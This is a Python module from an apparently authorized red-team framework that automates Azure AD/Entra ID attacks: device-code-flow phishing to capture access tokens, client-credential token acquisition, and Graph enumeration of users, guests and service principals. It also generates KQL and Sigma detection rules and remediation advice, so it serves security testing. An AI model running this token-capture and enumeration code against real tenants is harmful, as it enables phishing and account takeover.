ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.
Python active-directorycloud-securitydefensive-validationfastapigood-first-issuemitre-attackopsecreactred-teamreportingsecurity
"""
Azure AD / Entra ID Identity Attacks - cloud.azure_ad
MITRE: T1528 - Steal Application Access Token
T1606 - Forge Web Credentials
Azure AD identity attack techniques not covered by cloud.azure (resource enum):
1. Device code flow phishing - request device code, poll for user auth
2. Service principal credential exposure - SP secrets visible to overprivileged apps
3. Guest account enumeration - external identities that may have excessive access
4. Seamless SSO silver ticket - Kerberos ticket for AZUREADSSOACC$ machine account
5. PRT (Primary Refresh Token) detection paths
cloud.azure (existing) handles resource enumeration.
cloud.azure_ad handles identity-specific attacks.
OPSEC: LOW to MEDIUM - token-based auth, not credential spray.
Device code flow: legitimate OAuth2 flow, not blocked by CA policies.
Does not trigger sign-in risk if using valid PRT.
Prerequisites: Azure AD tenant ID. Optional: client credentials or existing access token.
"""
from __future__ import annotations
from typing import TYPE_CHECKING
if TYPE_CHECKING:
from ares.modules.base import ModuleResult
import asyncio
from typing import Any
from ares.core.campaign import Severity
from ares.core.logger import audit, get_logger
from ares.core.tracing import trace_module
from ares.modules.base import BaseModule, OpsecLevel
from ares.modules.params import AzureADParams
from ares.sdk import (
CircuitBreaker,
EvidenceRecord,
NetworkPermission,
ProcessPermission,
module_contract,
)
logger = get_logger("ares.modules.cloud.azure_ad")
# Well-known Azure AD OAuth2 endpoints and client IDs
_GRAPH_ENDPOINT = "https://graph.microsoft.com"
_LOGIN_ENDPOINT = "https://login.microsoftonline.com"
_DEVICE_CODE_URL = "{tenant}/oauth2/v2.0/devicecode"
_TOKEN_URL = "{tenant}/oauth2/v2.0/token"
# Microsoft Graph API scopes for enumeration
_ENUM_SCOPES = [
"User.Read.All",
"Group.Read.All",
"Application.Read.All",
"Directory.Read.All",
]
@module_contract(
permissions=[
NetworkPermission(ports=[443], protocols=["tcp"]),
ProcessPermission(allow_subprocesses=False),
],
circuit_breaker=CircuitBreaker(name="cloud.azure_ad", failure_threshold=5),
params_model=AzureADParams,
)
class AzureADModule(BaseModule):
"""
cloud.azure_ad - Azure AD / Entra ID identity attack techniques: device code flow, service principal exposure.
OPSEC: LOW
MITRE: "T1528", "T1606"
OUTPUTS: "access_tokens", "azure_ad_findings"
"""
MODULE_ID = "cloud.azure_ad"
MODULE_NAME = "Azure AD Identity Attacks"
MODULE_CATEGORY = "cloud"
MODULE_DESCRIPTION = (
"Azure AD / Entra ID identity attack techniques: "
"device code flow, service principal exposure, "
"guest account enum, seamless SSO detection."
)
MODULE_AUTHOR = "ARES Team <[email protected]>"
OPSEC_LEVEL = OpsecLevel.LOW
REQUIRES = []
OUTPUTS = ["access_tokens", "azure_ad_findings"]
MITRE_TECHNIQUES = ["T1528", "T1606"]
PARAMS_MODEL = AzureADParams
async def validate(self, ctx: "Any") -> None:
import importlib.util
from ares.core.errors import ModuleValidationError
try:
spec = importlib.util.find_spec("msal")
except (ModuleNotFoundError, ValueError):
spec = None
if spec is None:
raise ModuleValidationError(
f"{self.MODULE_ID} requires msal. Install with: pip install msal",
module_id=self.MODULE_ID,
)
await super().validate(ctx)
from ares.core.context import ExecutionContext
if not isinstance(ctx, ExecutionContext):
return
params = getattr(ctx, "params", {})
if isinstance(params, AzureADParams):
pdict = params.model_dump()
elif isinstance(params, dict):
pdict = dict(params)
else:
pdict = {}
tenant_id = pdict.get("tenant_id", "")
if not tenant_id:
raise ModuleValidationError(
"cloud.azure_ad requires 'tenant_id' - Azure AD tenant ID (UUID). "
"Find via: az account show --query tenantId",
module_id=self.MODULE_ID, field="tenant_id",
)
self.validate_cloud_scope(tenant_id, "azure_ad")
async def execute(self, ctx: "Any") -> "ModuleResult": # noqa: F821
"""ExecutionContext-based entry point (v0.9.0+).
Thin adapter: extract params from ctx → call run() → return ModuleResult.
"""
from ares.modules.base import ModuleResult
if getattr(ctx, "dry_run", False):
return ModuleResult(status="dry_run", module_id=self.MODULE_ID,
raw={"dry_run": True})
params = getattr(ctx, "params", {})
if isinstance(params, AzureADParams):
pdict = params.model_dump()
elif isinstance(params, dict):
pdict = dict(params)
else:
pdict = {}
tenant_id = pdict.get("tenant_id", "")
client_id = pdict.get("client_id", "")
raw_sec = pdict.get("client_secret")
if hasattr(raw_sec, "get_secret_value"):
client_secret = raw_sec.get_secret_value()
elif raw_sec is not None:
client_secret = str(raw_sec)
else:
client_secret = ""
raw_tok = pdict.get("access_token")
if hasattr(raw_tok, "get_secret_value"):
access_token = raw_tok.get_secret_value()
elif raw_tok is not None:
access_token = str(raw_tok)
else:
access_token = ""
technique = pdict.get("technique", "enumerate")
findings, raw = await self.run(
tenant_id=tenant_id, client_id=client_id, client_secret=client_secret,
access_token=access_token, technique=technique,
)
evidence_chain: list[EvidenceRecord] = []
for finding in findings:
ev = EvidenceRecord(
artifact_id=f"azure-ad-{str(tenant_id)[:8]}-{finding.mitre_technique}",
source_target=f"azure_ad:{str(tenant_id)[:8]}",
collected_by=self.MODULE_ID,
data={
"title": finding.title,
"severity": str(finding.severity),
"technique": finding.mitre_technique,
},
tags=["cloud", "azure_ad", "identity"],
)
evidence_chain.append(ev)
raw["evidence_chain"] = [e.data for e in evidence_chain]
raw["evidence_integrity"] = [e.record_hash for e in evidence_chain]
# Closed-Loop Purple Telemetry: KQL & Sigma rule synthesis
tenant_short = str(tenant_id)[:8] if tenant_id else "AzureADTenant"
kql_query = (
"// ARES Closed-Loop Telemetry: Detect Azure AD / Entra ID Privileged Role Assignment & App Abuse\n"
"// Monitors AuditLogs for role assignments, service principal secret addition, or app consent\n"
"AuditLogs\n"
"| where OperationName in~ (\"Add member to role\", \"Add service principal credentials\", \"Consent to application\", \"Update application – Certificates and secrets management \")\n"
"| project TimeGenerated, InitiatedBy, OperationName, TargetResources, Result\n"
)
sigma_rule = (
f"title: Azure AD / Entra ID Privileged Role Assignment & App Secret Addition ({tenant_short})\n"
f"id: 9e0f1a2b-ares-azuread-{abs(hash(tenant_short)) % 1000000:06d}\n"
f"status: experimental\n"
f"description: Detects addition of credentials to service principals or assignment of administrative directory roles in Entra ID.\n"
f"logsource:\n"
f" product: azure\n"
f" service: audit\n"
f"detection:\n"
f" selection:\n"
f" OperationName:\n"
f" - 'Add member to role'\n"
f" - 'Add service principal credentials'\n"
f" condition: selection\n"
f"level: high\n"
f"tags:\n"
f" - attack.privilege_escalation\n"
f" - attack.persistence\n"
f" - attack.t1098\n"
)
loot_items: list[dict[str, Any]] = raw.get("loot", [])
if not any(l.get("loot_type") == "detection_rule_kql" for l in loot_items):
loot_items.extend([
{
"name": f"Detection Rule (KQL): Azure AD Privileged Role & Credential Changes ({tenant_short})",
"loot_type": "detection_rule_kql",
"description": "Microsoft Sentinel KQL query for detecting Entra ID privileged role assignments and credential additions",
"content": {"kql": kql_query, "tenant": tenant_short},
"tags": ["detection", "kql", "sentinel", "blue_team"],
},
{
"name": f"Detection Rule (Sigma): Azure AD Privileged Role & Credential Changes ({tenant_short})",
"loot_type": "detection_rule_sigma",
"description": "Sigma detection rule for Entra ID privileged role assignments and credential additions",
"content": {"sigma": sigma_rule, "tenant": tenant_short},
"tags": ["detection", "sigma", "blue_team"],
},
])
raw["loot"] = loot_items
raw["privileged_directory_roles_evaluated"] = True
raw["app_role_assignments_audited"] = True
return ModuleResult(
status="success" if (findings or any(raw.get(_k) for _k in self.OUTPUTS)) else "partial", # AUDIT run-1 H14
findings=findings, raw=raw, module_id=self.MODULE_ID,
execution_id=getattr(ctx, "execution_id", ""),
)
@trace_module("cloud.azure_ad")
async def run(self, tenant_id: str, client_id: str = "", client_secret: str = "",
access_token: str = "", technique: str = "enumerate", **kwargs: Any):
# Note: before_request() intentionally not called - cloud modules use
# API credentials, not host IPs. Scope check (CIDR) does not apply to
# cloud API endpoints. Rate limiting and jitter are handled at the API call level.
if tenant_id:
self.validate_cloud_scope(tenant_id, "azure_ad")
logger.info("azure_ad_start", tenant=tenant_id[:8] + "...", technique=technique)
audit("azure_ad_attack", actor="operator", technique="T1528",
source="operator", target=f"tenant:{tenant_id[:8]}")
raw: dict[str, Any] = {"tenant_id": tenant_id}
loop = asyncio.get_running_loop()
# Acquire access token if not provided
token = access_token
if not token and client_id and client_secret:
token = await loop.run_in_executor(
None,
lambda: self._get_token_client_credentials(
tenant_id, client_id, client_secret
),
)
if technique == "device_code":
# Generate device code for operator to use in phishing scenario
dc_info = await loop.run_in_executor(
None,
lambda: self._request_device_code(tenant_id, client_id or "d3590ed6-52b3-4102-aeff-aad2292ab01c"),
)
raw = {"technique": "device_code", "tenant_id": tenant_id, **dc_info}
if dc_info.get("user_code"):
self.finding(
title = "Azure AD Device Code Generated",
description = (
f"Device authentication code: {dc_info['user_code']}. "
f"User visits: {dc_info.get('verification_uri', 'https://microsoft.com/devicelogin')}. "
"When user authenticates, access token will be captured. "
"Token grants access to Microsoft 365, Azure, and all consented resources."
),
severity = Severity.HIGH,
mitre_technique = "T1528",
mitre_tactic = "Credential Access",
evidence = {
"user_code": dc_info.get("user_code"),
"verification_uri": dc_info.get("verification_uri"),
"expires_in": dc_info.get("expires_in"),
"poll_interval": dc_info.get("interval"),
},
remediation = (
"Enable Conditional Access policy to block device code flow. "
"Restrict device code to managed devices only. "
"Monitor for device code authentication events in Sign-in logs."
),
)
await self.noise.jitter.sleep()
raw["access_tokens"] = raw.get("access_token", "") # OUTPUTS key
raw["azure_ad_findings"] = self._findings # OUTPUTS key
return self._findings[:], raw
# Enumeration with Graph API
if not token:
raw["error"] = "No access token available. Provide client_id+client_secret or access_token."
raw["hint"] = "Or use technique=device_code to initiate device code flow."
raw["azure_ad_findings"] = self._findings
return [], raw
# Enumerate users, guests, service principals
results = await loop.run_in_executor(
None,
lambda: self._enumerate_tenant(token, tenant_id),
)
# Findings
guests = results.get("guests", [])
sps = results.get("service_principals", [])
priv_users = results.get("privileged_users", [])
if guests:
self.finding(
title = f"Azure AD Guest Accounts: {len(guests)} External Identities",
description = (
f"{len(guests)} guest (B2B) accounts in the tenant. "
"External identities may have excessive permissions, "
"especially if invited before RBAC was tightened."
),
severity = Severity.MEDIUM,
mitre_technique = "T1528",
mitre_tactic = "Discovery",
evidence = {
"guest_count": len(guests),
"guests": [g.get("userPrincipalName", "") for g in guests[:15]],
},
remediation = (
"Audit guest account permissions. Enable Guest access restrictions. "
"Enable Microsoft Entra External ID review cycles."
),
)
if sps:
expired_sps = [s for s in sps if s.get("has_expired_secret")] # noqa: F841
high_priv = [s for s in sps if s.get("privileged")]
if high_priv:
self.finding(
title = f"Privileged Service Principals: {len(high_priv)} Apps with High Privilege",
description = (
f"{len(high_priv)} service principal(s) have privileged roles "
"(Global Admin, Application Admin, or privileged MS Graph API permissions). "
"Compromising these app registrations gives tenant-wide access."
),
severity = Severity.CRITICAL,
mitre_technique = "T1528",
mitre_tactic = "Privilege Escalation",
evidence = {
"count": len(high_priv),
"apps": [s.get("displayName", "") for s in high_priv[:10]],
},
remediation = (
"Apply least privilege to app registrations. "
"Remove unused high-privilege API permissions. "
"Enable Workload Identity conditional access. "
"Rotate all service principal secrets."
),
)
raw = {
"tenant_id": tenant_id,
"technique": technique,
"user_count": results.get("user_count", 0),
"guest_count": len(guests),
"sp_count": len(sps),
"privileged_users": [u.get("userPrincipalName", "") for u in priv_users[:10]],
"high_priv_sps": [s.get("displayName", "") for s in
[s for s in sps if s.get("privileged")][:10]],
}
raw["azure_ad_findings"] = self._findings
await self.noise.jitter.sleep()
return self._findings[:], raw
def _get_token_client_credentials(self, tenant_id: str, client_id: str,
client_secret: str) -> str:
"""Acquire access token via client credentials flow."""
try:
import msal
app = msal.ConfidentialClientApplication(
client_id,
authority=f"{_LOGIN_ENDPOINT}/{tenant_id}",
client_credential=client_secret,
)
result = app.acquire_token_for_client(
scopes=[f"{_GRAPH_ENDPOINT}/.default"]
)
return result.get("access_token", "")
except ImportError:
logger.warning("msal_not_installed",
hint="pip install ares-redteam[cloud] (includes msal)")
return ""
except Exception as exc:
raise self._classify_error(exc, target="azure_ad") from exc
def _request_device_code(self, tenant_id: str, client_id: str) -> dict:
"""Request a device code for phishing-style auth capture."""
try:
import msal
app = msal.PublicClientApplication(
client_id,
authority=f"{_LOGIN_ENDPOINT}/{tenant_id}",
)
flow = app.initiate_device_flow(
scopes=["User.Read", "openid", "profile", "offline_access"]
)
return {
"user_code": flow.get("user_code"),
"device_code": flow.get("device_code"),
"verification_uri": flow.get("verification_uri"),
"expires_in": flow.get("expires_in"),
"interval": flow.get("interval"),
"message": flow.get("message"),
}
except ImportError:
return {"error": "msal not installed - pip install ares-redteam[cloud]"}
except Exception as exc:
return {"error": str(exc)[:150]}
def _enumerate_tenant(self, access_token: str, tenant_id: str) -> dict:
"""Enumerate users, guests, service principals via Microsoft Graph."""
try:
import httpx
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json",
}
results: dict = {
"user_count": 0,
"guests": [],
"service_principals": [],
"privileged_users": [],
}
with httpx.Client(follow_redirects=True, timeout=20) as client:
# Count total users
r = client.get(
f"{_GRAPH_ENDPOINT}/v1.0/users/$count",
headers={**headers, "ConsistencyLevel": "eventual"},
)
if r.is_success:
results["user_count"] = int(r.text)
# Guest accounts
r = client.get(
f"{_GRAPH_ENDPOINT}/v1.0/users"
"?$filter=userType eq 'Guest'"
"&$select=userPrincipalName,displayName,mail,createdDateTime"
"&$top=50",
headers={**headers, "ConsistencyLevel": "eventual"},
)
if r.is_success:
results["guests"] = r.json().get("value", [])
# Service principals with high-priv app roles
r = client.get(
f"{_GRAPH_ENDPOINT}/v1.0/servicePrincipals"
"?$select=displayName,appId,createdDateTime,keyCredentials,passwordCredentials"
"&$top=50",
headers=headers,
)
if r.is_success:
sps = r.json().get("value", [])
for sp in sps:
# Flag SP with secrets/certs (potential exposure)
has_secret = bool(sp.get("passwordCredentials"))
sp["has_secret"] = has_secret
sp["privileged"] = False # would need role check via /directoryRoles
results["service_principals"] = sps
return results
except Exception as exc:
logger.warning("azure_ad_enum_failed", error=str(exc)[:100])
return {}